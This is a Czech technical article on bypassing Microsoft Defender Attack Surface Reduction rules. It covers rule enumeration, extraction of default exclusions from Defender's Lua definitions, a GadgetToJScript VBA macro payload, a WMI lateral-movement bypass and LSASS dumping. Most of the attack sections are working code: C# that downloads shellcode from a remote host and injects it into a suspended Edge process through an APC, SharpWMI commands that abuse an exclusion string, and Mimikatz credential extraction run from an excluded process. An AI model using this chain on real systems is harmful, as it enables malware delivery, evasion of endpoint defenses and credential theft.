Attack Surface Reduction (ASR) Bypass

V dnešním článku se podíváme na další ochranu v operačním systému Windows – Attack Surface Reduction (ASR). Jedná se o sadu konfigurací, jejichž cílem je zmírnit běžné techniky útoku standardně používané útočníky. ASR je vynuceno různými součástmi programu Windows Defender, jako je ovladač WdFilter. ASR proto není k dispozici, pokud je na počítači nainstalováno jiné AV řešení než Defender a registrováno jako primární poskytovatel AV. Nejprve si v článku ukážeme příklady definovaných zásad, nejčastější konfigurační chyby / výchozí výjimky a jak jich zneužít ke spuštění libovolných nástrojů / škodlivého kódu.

ASR pravidla lze povolit prostřednictvím GPO, Intune, MDM nebo dokonce PowerShell. Úplný rozpis pravidel, která jsou k dispozici, lze nalézt na následujícím odkazu. Tento článek se zaměří na pravidla, která se týkají:

  • Microsoft Office a počáteční přístupové vektory prostřednictvím maker
  • Lateral Movement s PsExec a WMI
  • Zabezpečení přihlašovacích údajů

Z pohledu počátečního přístupu je prakticky nemožné zjistit, která pravidla ASR jsou zavedena, pokud vůbec nějaká. Aplikovanou ASR konfiguraci je však možné získat přímo z lokálních registrů nebo pomocí příkazu Get-MpPreference (pokud již máme přístup k počítači). Umístění registru je HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR. Tento klíč má hodnotu registru s názvem ExploitGuard_ASR_Rules, kterou lze nastavit na 0 (zakázáno) nebo 1 (povoleno). Samotná pravidla jsou v další složce s názvem Rules

1_asr_rules

Každé pravidlo je odkazováno pomocí GUID, které lze vyhledat na výše uvedené referenční stránce pravidel ASR. Například 75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 je GUID pro „Blokování vkládání kódu do jiných procesů aplikací Office“. Každé pravidlo lze nastavit na 0 (zakázáno), 1 (blokování) nebo 2 (audit). ASR události se zaznamenávají do protokolu událostí Microsoft-Windows-Windows Defender/Operational event log – ID 1121 pro blokované události a 1122 pro auditované události.

Úplně stejné informace lze získat pomocí modulu Get-MpPreference:

PS C:\Users\test> (Get-MpPreference).AttackSurfaceReductionRules_Ids
75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84
92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b
9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2
d1e49aac-8f56-4280-b9ba-993a6d77406c
d4f940ab-401b-4efc-aadc-ad5f3c50688a
e6db77e5-3df2-4cf1-b95a-636979351e5b

PS C:\Users\test> (Get-MpPreference).AttackSurfaceReductionRules_Actions
1
1
1
1
1
1

MS Office pravidla

Tři hlavní ASR pravidla, která ovlivňují možnost používat Office dokumenty jako mechanismy doručování payloadu jsou následující:

  • Blokovat vytváření podřízených procesů všem aplikacím Office
  • Blokování volání rozhraní API Win32 z maker Office
  • Blokování vkládání kódu do jiných procesů aplikací Office

Výše uvedená pravidla aktivně brání spouštět jednoduché jednořádkové payloady, jako je PowerShell, a vkládat shell kód do jiných procesů. Než se dostaneme k bypassům, podívejme se, jak se zmíněná omezení projevují. Jednoduchý VBA skript, který spouští PowerShell:

Sub AutoOpen()

  Dim wsh As Object
  Set wsh = CreateObject("wscript.shell")
  wsh.Run "powershell.exe"
  Set wsh = Notning

End Sub

Pokud VBA skript spustíme, dojde k zablokováni na základě pravidla „Blokovat vytváření podřízených procesů všem aplikacím Office“:

2_asr_msoffice_block

Win32 API lze volat v makru pomocí P/Invoke. Níže příklad volání MessageBoxA:

Private Declare PtrSafe Function MessageBoxA Lib "user32.dll" (ByVal hWnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal uType As Long) As Long

Sub Exec()
    Dim Result As Long
    Result = MessageBoxA(0, "Test", "Hello World", 0)
End Sub

Pokud skript zkusíme spustit, zjistíme, že skutečně funguje:

3_asr_msoffice_makro

Pravidlo „Blokování volání rozhraní API Win32 z maker Office“ zasáhne pouze tehdy, když se pokusíme zapsat dokument na disk.

Poslední pravidlo „Blokování vkládání kódu do jiných procesů aplikací Office“ funguje tak, že omezuje oprávnění udělená při získávání popisovače cílového procesu. Níže uvedený snímek obrazovky je příkladem volání OpenProcess. Když je toto pravidlo zakázáno, potřebná oprávnění PROCESS_VM_OPERATION, PROCESS_VM_READ a PROCESS_VM_WRITE jsou přidělena:

4.1_asr_msoffice_code

Při opětovném povolení pravidla a zopakování experimentu vidíme, že PROCESS_VM_WRITE a PROCESS_VM_OPERATION nejsou přítomny v popisovači vráceném API rozhraním, což by zabránilo používat popisovač k provádění akcí jako je alokace a zápis do paměti procesu:

4.2_asr_msoffice_code

Navíc, pokud se nám podaří vytvořit proces, vrácený popisovač má oprávnění PROCESS_ALL_ACCESS, místo aby byl filtrován. Na obrázku níže můžeme vidět, že popisovač vrácený metodou CreateProcessA má PROCESS_ALL_ACCESS, ale popisovač vrácený metodou OpenProcess (pro úplně stejné ID procesu) je filtrován:

4.3_asr_msoffice_code

ASR Výjimky

Mnoho ASR pravidel může mít vlastní výjimky, která mohou být definovány jako součást při nasazení (např. v GPO). Společnost Microsoft také implementovala výchozí výjimky pro různá ASR pravidla, aby nedošlo k porušení zamýšlených funkcionalit. Tyto výjimky jsou distribuovány ve formě aktualizací signatur MS Defender, které se nacházejí na disku, což nám umožňuje velmi snadno najít výjimky, které můžeme použít k efektivnímu obcházení mnoha ASR pravidel. Prvotní výzkum byl původně publikován již v letech 2020-2021 (GitHub). Zjistili, že část logiky ASR je řízena pomocí jazyka LUA, a přišli s vícestupňovým procesem, který je v podstatě schopný extrahovat, analyzovat a dekompilovat výjimky zpět do čitelného formátu z VDM (Virus Definition Module) souborů nástroje MS Defender. VDM soubory lze nalézt v následujícím adresáři C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasbase.vdm.

Po extrakci výjimek vznikne tisíce .luac a .lua souborů. Soubory .luac jsou původní zkompilované verze extrahované z VDM a soubory .lua jsou ty dekompilované v čitelné podobě. Nyní můžeme použít příkaz „grep“ k nalezení souboru související s příslušným ASR pravidlem – při našem testu bylo pravidlo "Blokovat vytváření podřízených procesů všem aplikacím Office" v souboru 4248.lua:

5.1_asr_lua

GetMonitoredLocations definuje všechny „zdrojové“ procesy, na které se bude toto pravidlo vztahovat. Vzhledem k tomu, že platí pravidlo „všechny aplikace Office“, najdeme zde všechny cesty aplikací Office. Když se posuneme dále dolů, najdeme velmi zajímavou část – GetPathExclusions. V této sekci jsou uvedeny všechny cesty aplikací, které budou z daného pravidla ASR vyloučeny –jinak řečeno, všechny aplikace, které může Office vytvořit jako podřízený proces (některé se dokonce nacházejí v lokacích jako je %AppData%):

5.2_asr_lua

GadgetToJScript

Zatím jsme si ukázali, jak enumerovat aplikovaná ASR pravidla, a reverzovat ASR LUA skripty k zjištění výchozích výjimek, které můžeme zneužít. Dalším krokem je najít způsob, jak spustit libovolný kód a/nebo rozhraní API Win32 v makru bez spoléhání se na P/Invoke.

GadgetToJScript je jedním z možných nástrojů, který můžeme použít. Dokáže generovat serializované gadgety z .NET (C#) kódu a používá binární formátovač ke spuštění libovolného kódu. Tyto gadgety mohou být ve formátu VBA, stejně jako VBS a JS, což znamená, že je lze použít v Office makrech a dalších souborech, jako je např. HTA. G2JS řešení se skládá ze dvou projektů. Projekt TestAssembly je DLL knihovna, která bude obsahovat „škodlivý“ kód, který chceme spustit v makru, a hlavní projekt GadgetToJScript je binární EXE, který provede skutečnou transformaci DLL knihovny na serializovaný payload. Když sestava projde přes formátovač, v podstatě zavolá new Program(). Proto musí náš kód začít uvnitř konstruktoru třídy, aby se mohl spustit (samozřejmě můžeme mít další třídy a metody pro oddělení kódu).

Nejprve si stáhneme shell kód. Výchozí konfigurace SecurityProtocol je SystemDefault, která umožňuje operačnímu systému vybrat nejlepší protokol a blokuje všechny, které nejsou považovány za bezpečné. Z nějakého důvodu se zdá, že takové stahování v G2JS selhává, pokud není výslovně protokol nastaven – TLS 1.2 a 1.3 jsou vhodní kandidáti.

byte[] shellcode;

using (var client = new WebClient())
{   
    client.Proxy = WebRequest.GetSystemWebProxy();
    client.UseDefaultCredentials = true;

    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls13;

    shellcode = client.DownloadData("https://www.mytestdomain.com/shellcode.bin");
};

Následně spustíme cílový proces. Prohlížeč MS Edge je vyloučen z pravidla ASR „Blokovat vytváření podřízených procesů všem aplikacím Office“ a je také vhodným kandidátem pro provádění odchozích HTTPS připojení. Můžeme také upravit argumenty příkazového řádku, aby vypadaly legitimněji:

var startup = new STARTUPINFO { dwFlags = 0x00000001 };
startup.cb = Marshal.SizeOf(startup);

var success = CreateProcessW(
    @"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
    @"""C:\Program Files\(x86)\Microsoft\Edge\Application\msedge.exe --no-startup-window --win-session-start /prefetch:5""",
    IntPtr.Zero,
    IntPtr.Zero,
    false,
    CREATION_FLAGS.CREATE_NO_WINDOW | CREATION_FLAGS.CREATE_SUSPENDED,
    IntPtr.Zero,
    @"C:\Program Files (x86)\Microsoft\Edge\Application",
    ref startup,
    out var processInfo);

Alokace paměti (RW):

var baseAddress = VirtualAllocEx(
    processInfo.hProcess,
    IntPtr.Zero,
    (uint)shellcode.Length,
    ALLOCATION_TYPE.MEM_COMMIT | ALLOCATION_TYPE.MEM_RESERVE,
    PROTECTION_FLAGS.PAGE_READWRITE);

Kopírování shellcodu do nově vytvořené paměti:

success = WriteProcessMemory(
    processInfo.hProcess,
    baseAddress,
    shellcode,
    (uint)shellcode.Length,
    out _);

Přepnutí ochrany paměti z RW na RX:

success = VirtualProtectEx(
    processInfo.hProcess,
    baseAddress,
    (uint)shellcode.Length,
    PROTECTION_FLAGS.PAGE_EXECUTE_READ,
    out _);

Na závěr zařadíme APC (asynchronous procedure call) do fronty na primárním vlákně, obnovíme jeho běh a uzavřeme popisovače:

_ = Win32.QueueUserAPC(
    baseAddress,
    processInfo.hThread,
    IntPtr.Zero);

Win32.ResumeThread(processInfo.hThread);

Win32.CloseHandle(processInfo.hThread);
Win32.CloseHandle(processInfo.hProcess);

Řešení sestavíme v Release režimu a poté pomocí GadgetToJScript.exe vygenerujeme datovou VBA část z TestAssembly.dll:

PS C:\Tools\GadgetToJScript> .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba -b -e hex -o C:\Payloads\inject -a .\TestAssembly\bin\Release\TestAssembly.dll

Nyní již stačí obsah souboru C:\Payloads\inject.vba zkopírovat do nového makra a spustit, čímž dojde ke spuštění shellcodu.

Tvorba procesů z PSExec a WMI

Pravidlo tvorby procesů z PSExec a WMI se chová úplně stejným způsobem jako pravidlo „Blokovat vytváření podřízených procesů všem aplikacím Office“. V našem příkladě lze LUA skript nalézt v souboru 4138.lua. Dvě sledované aplikace jsou WmiPrvSE.exe a PSEXESVC.exe. PsExec nestojí ani za zmínku, protože PSEXESVC.exe pochází z nástroje Sysinternals. Toto pravidlo nijak nebrání vytvořit nebo upravit službu, aby spustila náš vlastní binární soubor služby. Pokud se ale pokusíme provést lateral movement pomocí WMI, např. nástrojem SharpWMI, budou veškeré pokusy o spuštění příkazu na vzdáleném systému zablokovány (z důvodu využití WmiPrvSE).

.\SharpWMI.exe action=exec computername=TestWorkstation command=C:\Windows\notepad.exe

[*] Host                           : TestWorkstation
[*] Command                        : C:\Windows\notepad.exe
[*] Creation of process returned   : 2
[*] Process ID                     :

MS Defeneder na stanici „TestWorkstation“ pokus o spuštění zablokuje a vygeneruje alert. Nejjednodušší a zároveň nejkurioznější způsob, jak toto pravidlo obejít, je přes výjimku příkazového řádku:

6.1_asr_wmi

První čtyři položky mají na začátku i na konci zástupné znaky. Je tedy dostačující, když se někde v příkazu objeví „:\Windows\ccmcache\“ a již dojde k jeho spuštění:

.\SharpWMI.exe action=exec computername=TestWorkstation command="C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe"

[*] Host                           : TestWorkstation
[*] Command                        : C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe
[*] Creation of process returned   : 0
[*] Process ID                     : 7499

Odcizení přihlašovacích údajů z LSASS

Pravidlo „Blokování krádeže přihlašovacích údajů z LSASS“ funguje stejně jako „Blokování vkládání kódu do jiných procesů aplikací Office“, ale jediným monitorovaným procesem je lsass.exe. Funguje na principu filtrace popisovače vráceného z OpenProcess, kdy se odstraní přístup pro čtení do paměti procesu, čímž se zabrání vypsání jeho obsahu. Příklad pokusu získání přihlašovacích údajů pomocí nástroje Mimikatz:

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations

Stejně jako u předchozích příkladů lze pravidlo obejít tím, že je nástroj Mimikatz (případně jakýkoliv jiný nástroj) spuštěn z cesty nacházející se ve výjimkách.

7.1_asr_mimikatz

Toho lze docílit „spawnutím“ nového nebo injektováním do již běžící procesu (detailní popis použití zmíněných technik není předmětem článku):

ps
6168  644           OfficeClickToRun.exe           x64   0           NT AUTHORITY\SYSTEM

mimikatz 6168 x64 sekurlsa::logonpasswords

Authentication Id : 0 ; 813229 (00000000:000c68ad)
Session           : Interactive from 1
User Name         : TestUser
Domain            : domain.local
Logon Server      : DC
Logon Time        : 16.12.2024 10:02:51
SID               : S-1-12-1-2340896938-1641812507-3376716822-1896325457
...

V článku jsme si představili Attack Surface Reduction (ASR) ochranu —klíčová pravidla, možnosti nasazení i logování, a ukázali jsme běžné chybné konfigurace a výchozí výjimky v MS Defenderu, které lze zneužít k obcházení omezení (např. spuštění kódu z Office maker, lateral movement nebo získání dat z LSASS). ASR výrazně zvyšuje bezpečnost, ale jen pokud jsou pravidla správně nastavena a výjimky důsledně kontrolovány. Proto by mělo být ASR vnímáno jako jedna z více vrstev obrany, nikoli jako jediné řešení.